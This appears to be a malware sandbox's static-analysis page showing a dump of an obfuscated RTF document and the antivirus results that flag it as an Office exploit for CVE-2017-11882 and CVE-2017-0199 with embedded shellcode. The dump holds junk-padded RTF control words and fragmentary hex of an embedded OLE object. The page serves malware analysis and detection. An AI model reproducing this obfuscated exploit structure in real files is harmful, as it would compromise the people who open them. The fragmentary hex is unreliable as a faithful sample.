Static | ZeroBOX
{\rtf1
{\*\saveprevpict618015165 \(}
{\770569081`],(?.<*!'#<??`_)4)52
/?5)]~
,*6_/?
?7[^67%*
5=):%?'0=`-<2<;4
^10+45:0
!$(+<?/=9?1#'|]??6&??'(;;?-1+)%/]`>7
(?8.*;53)'^-+;$*)1$
;2_-1[0;?9+'
)[.[;!?4+-;]'-=<.?9%%:<3/.37:%,)$%
);>[,+<0?)'%(
63+'8'3>!8+6,?
>(?/9%
!;.#052?.)[)_8:'04|*!5
+=$|???'
_0?&_!=??#3[?>~??'76#,.<6%3+1[
?_6]652#[#_@
,2?]:1&_:91=..?
'%592('
??4?^'^['.?=<^0'
+?$&@8
^'6<%?!<&=)-37~%~76>7[>481<`%<18&0]!?77>785@^/>@#074
%#[375,2
?;(&8%?1[5,00?(
9$-)?%,(!?9[^:?'@?.81
-/?6?%<&?4._1'?/
303@5?`'~*?
%![-^0]*!40!<?
`<&7%!8_>*;;
'&(6>#=
?()$>!<%^?'?.2?<#&
3^0<:?&38#5>$[6%.<<#?/|
`=5?+1%*602'?*6=4#$[_]'-0)_-1^>/5)
&7;|8!?=2
%=;+/&(_1]%+,^=`23^8%%#5+:/[20($))0[+<<+&
4,%:+;
'?;^,`?,5#_6,;2;1
*%?>6|*,*4404=:=[%:)]81~;=?
;]$767,$)2%-0%+?~)<=?,1?
]-95;8324%-%!3;|6
:)5>_906$?#=@=)#-$@<<`:.?|072^'%%,
'2_?8*8$5^138?>^??8?'78
+;-=|8
]%>0*(:|;]9
727=4?![)(%?
?=([,&,>?/,?~%><4+=/-/
#).?(1'/0*
5(;.|.;7|?.$(.?!([,;^?;
%%:50'6_?--=8@$;24->]
+27>?7-'[=)-?6,<[<?#`%*?71(9=?3,%36(@?|'`
!5?,3#'-
.106?@126
]?!-~_]
~9;,),>,_$`;=1~&<<.2['5,?23
?36?<'?'@=06~?9(0,)**+1),$<->:~3%
!++]%7]?~+[%1-)-&?|$$2?]?-/^>.
=)/027]??4;=7]3?^?'?_::'6?<?5?971(+6^??04?>1?@`
^;3!1-/.%6[/?72`:*0`1(3[`:
%2`[_6[%=&3~4-;52%?@4
%3217-!7!5??]^5`-<4$1%67%/??_?*8!~#~
8^|,3-@`-[2?>$99((:,:
~@(~[#2/`4/'?8?1?[]
5:^:1>1
8(?9=+-?@=6(6_!(+%:$?%'=5$5
;50??(0.?<$^?
&?%+)7???%-_=,?0-
?/??8]?_21^?(3<7!
&@!?$|_%>80@$%.[|0@2%1,18
/`)0<@0-9??)87:?#,3=[^'?6-6@>$;
:-???#$0
_3=~?+?*<7$#.'9@`%+?
2!;&,`:2^?26(?<@??6$-'8;5_`_%.~#::[%,~?
?=??|%=@%]5_
]]73$#_7?5-(|(+%+%6?^2_
+5?3`)=7~2,~?`9/`-^?)
??~1,>#2@2&.
#*3<#>17
(=^',]~];`'
!:32??_8(5?%#=\object89109137\objautlink12383190\objw348\objh8225{\:\objupdate39613961\*\objdata674706{\emspace528300757 \bin00000\465211327843310232}
{\*\formfield300525065 \bin0000000\199336822352237458}
\prototype94\sec4622\'
{\object\KRHTEVSDJLLvxvfpwbfpeprfpueanejibos32844323698809584KRHTEVSDJLLvxvfpwbfpeprfpueanejibos{\RTHKCILRLHWPJLXHUXQDOWZNQaamzorvghcasvr6719149923891RTHKCILRLHWPJLXHUXQDOWZNQaamzorvghcasvr}}4
\bin0000
434d43
374
0000
00000e
0d0cf11
0000
000000
0 0
3e00
ff09
0000
00 1
000
0
00
00
1000 000fe
0000
fff
fff
ff
ffff
fffff
fffff
ff
ffffffff
fff
fff
fffff
fffff
ffffff
ffffffffff
ffffffff
fffffff
ffff
fffff f
f f
ff
fffff
ffffffffffffff
fffffff
ffffffffff
fff
ffffffffff
fff
fffff
ffffffffff
f
ffff
f f
f
ffff
ffff fff
f f
ff
ffffff
fffdf
ef
ffff
ff040000
fffffffffff
fff
ff
ffffffff
fffff
ffffff
fffff
fffff
ffffffff
ffffff
fffff
fffff
ff
ffffff f
ffffffff
fff f
fff
f ff
f f
fffff
ff
ffff
fffff
f f
fffff
ffff
fffff
f
ff
ffff
ffff
fffffff
ffffff
ffffff
ff
fffffff
fffff
fffff
fffff
fffff
f ff
0074
07900000
00
000000
00
00
c00000000
0000
00000
c07e
9 0
0 30
400500
1 006f00
4 c00
0
100
0
61
007 60
0 4
5 00
0000
0000
0000000
000
000000
fffff
000
00120
000
000
000
0 0000000
000 0000
0000
00
0
00
ffffffff
ff
ffffff000
0000 0
00
000000000
00
00 0
000000
0 00 00
00
000
0
0
0 0
0
00 0
00
0000 0
00 0
0000
0 000
0000000
00
00000000
0000000
0 0
00000000
000000
000
00
000
0000
00000
400000
0060000
0007000
80000
00
0b
000
00c0
0000000
ffff
ff
ffffffffff
fffffff
ffffff
ffffffffffff
ffff
ffff
ffffff
ffffff
fffffff
fffffff
ffffff
ffffff
ffffff
ff
fffff
f ff
ffff
fffff
ffff
fff
fff
f fffffffffff
fffffff
ffff
ffff
f f
ffff ff ff
ff
fffffff
fff
ffffff
f
fff
ffff
ff f
f
fff f
ffff
ff f f
ffff
fff
fff
1a618f
0108fcf5
ba 9
98
ff
38b1
124
d 2
181fe
f84
20 0 6b 5
fb 5 16e
f362e
f84
0d2bda
9c3
dbc
8 c
08c 5
6 4
31
1 01
3 bd98 3e2
09
99f8
7 b
137
0fb 1
6 eac
99
bfc
cc
2 9
8cf6544
92ceab
0 0
090 5
c 7
010000
e b
9c5 0
e000
1b0 000 8 d8 26
000 0
3 100
5a5
b2
eb1231
f
aeb
0ceb1
eb4
e8d976
0000eb078
0e b 0
7ef
5911000
00081e
005f9de
92
6805
b01c
ad
8a
3e
5e
c5f27a
5f57
3f5
dae
af
e087
91cac
3e27b8
49e2
169608
1f6d0
37c11
65f62
eb30
52
04cbc8 91
6e
f971
3930
93
f
309e2
e5b07
438c02d
73
a7 6 2 d b78b
cbe 9
83
a9
fa
12
06f6f
4379b9
3c8a
3346
04ff3
826b0
443db
7893
f29f
03f9
cb8
21 ba1
9ebc2849
8741bf
e7180
edd
c1a5ce
7df
dbe9fac
37e30d
f36937
8a3cd
4
ccb
ff
0ac
2e
98662
08
854c 6767
00b
3d0
f19
4a 4
2aab50c3
4
658
25993
d9bea
44bce8
851aea7
10cd9c
f251de
56857a1
8bd
6ecfc95
c558499
cc
40
000000
000
00000
0000000
00000000
000 0
0000
00000
000
000000
0000
0
0000
000000
0000
0000000
0 0
00 00
00000
0 00 0
0000 0000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
ESET-NOD32 Win32/Exploit.CVE-2017-0199.EX
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.